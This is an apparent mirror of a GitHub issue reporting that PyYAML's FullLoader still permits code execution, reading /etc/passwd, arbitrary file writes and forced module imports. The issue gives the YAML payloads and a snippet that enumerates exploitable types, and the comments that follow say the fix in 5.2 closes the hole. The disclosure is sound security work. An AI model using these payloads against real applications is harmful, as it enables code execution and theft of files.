question-mark
Stuck on an issue?

Lightrun Answers was designed to reduce the constant googling that comes with debugging 3rd party libraries. It collects links to all the places you might be looking at while hunting down a tough bug.

And, if you’re still stuck at the end, we’re happy to hop on a call to see how we can help out.

FullLoader is not much safer than UnsafeLoader

See original GitHub issue

The documentation on yaml.load deprecation suggests that using FullLoader is safer than using UnsafeLoader. Whilst it’s true that FullLoader is not vulnerable to the YAML given on that page, there are other payloads that trigger remote code execution or other problematic behaviour using only standard library modules:

# Executes arbitrary code - does rely on subprocess being used somewhere in the vulnerable application, but see forced import hack
yaml.load('!!python/object/apply:subprocess.Popen [["echo", "Hello World"]]')

# Allows reading arbitrary files - notably, does not rely on any modules being loaded beyond those used by PyYAML
yaml.load('!!python/object/apply:list [!!python/object/apply:io.FileIO ["/etc/passwd", "r"]]')

# Writes to an arbitrary file - again, only uses modules that are imported by PyYAML
yaml.load('!!python/object/apply:list [!!python/object/apply:map [!!python/object/apply:operator.methodcaller ["write", "Hello World"], [!!python/object/apply:io.FileIO ["/tmp/output", "w"]]]]')

# Forcibly load a module that is not currently imported - only uses existing PyYAML dependencies
yaml.load('!!python/object/apply:list [!!python/object/apply:map [!!python/object/apply:operator.methodcaller ["load_module", "subprocess"], [!!python/object/apply:itertools.__loader__ []]]]')

Either the documentation should be made clearer about the relative safety of FullLoader, or FullLoader should be tightened to prevent these cases.

You can summarise which types are available for use in exploits with the following snippet:

import sys, yaml
for modulename, module in sys.modules.items():
    for itemname, value in module.__dict__.items():
        if isinstance(value, type):
            print(modulename + "." + itemname)

Issue Analytics

  • State:closed
  • Created 4 years ago
  • Reactions:3
  • Comments:9 (6 by maintainers)

github_iconTop GitHub Comments

1reaction
jamespiccommented, Nov 18, 2019

It certainly seems to fix the examples I’ve given. I notice that !!python/object/new is still available, so I’ll have a play and see if I can do anything malicious with that, but I’ll close this issue, and open another if I find anything.

0reactions
jamespiccommented, Dec 2, 2019

I believe the exploitable code would have to be in __new__. The old behaviour was exploitable precisely because of exploitable behaviour in __init__, and the patch in 5.2 closes off that avenue of attack.

For most of the objects used in the exploit examples above, creating an object with __new__ (which doesn’t automatically call __init__, by default) creates a half formed object that isn’t usable (files that are closed, lists with no elements, processes that aren’t started). Which makes me wonder what use cases FullLoader is now useful for, but I digress.

Read more comments on GitHub >

github_iconTop Results From Across the Web

Why does PyYAML 5.1 raise YAMLLoadWarning when the ...
So the current version uses FullLoader which is not unsafe. This is confirmed again in the document. The load function was also made...
Read more >
Fully loaded: testing vulnerable PyYAML versions - r2c
PyYAML 5.1 introduced FullLoader and UnsafeLoader classes, ... discussions on CVE patches, I really had no idea which PyYAML APIs were safe.
Read more >
YAML Deserialization Attack in Python - Net Square
Those modules which are using SafeLoader of PyYAML to load serialized data, are not vulnerable to deserialization vulnerability, example, simple-yaml , aspy.
Read more >
Loading Dangerously: PyYAML and Safety by Design
x release because it broke backwards compatibility with many other widely used libraries, such as vcrpy. The definition of “safe” is not ......
Read more >
PyYAML is a YAML parser and emitter for Python.
The parsing algorithm is simple enough to be a reference for YAML parser ... Make FullLoader safer by removing python/object/apply from the default...
Read more >

github_iconTop Related Medium Post

No results found

github_iconTop Related StackOverflow Question

No results found

github_iconTroubleshoot Live Code

Lightrun enables developers to add logs, metrics and snapshots to live code - no restarts or redeploys required.
Start Free

github_iconTop Related Reddit Thread

No results found

github_iconTop Related Hackernoon Post

No results found

github_iconTop Related Tweet

No results found

github_iconTop Related Dev.to Post

No results found

github_iconTop Related Hashnode Post

No results found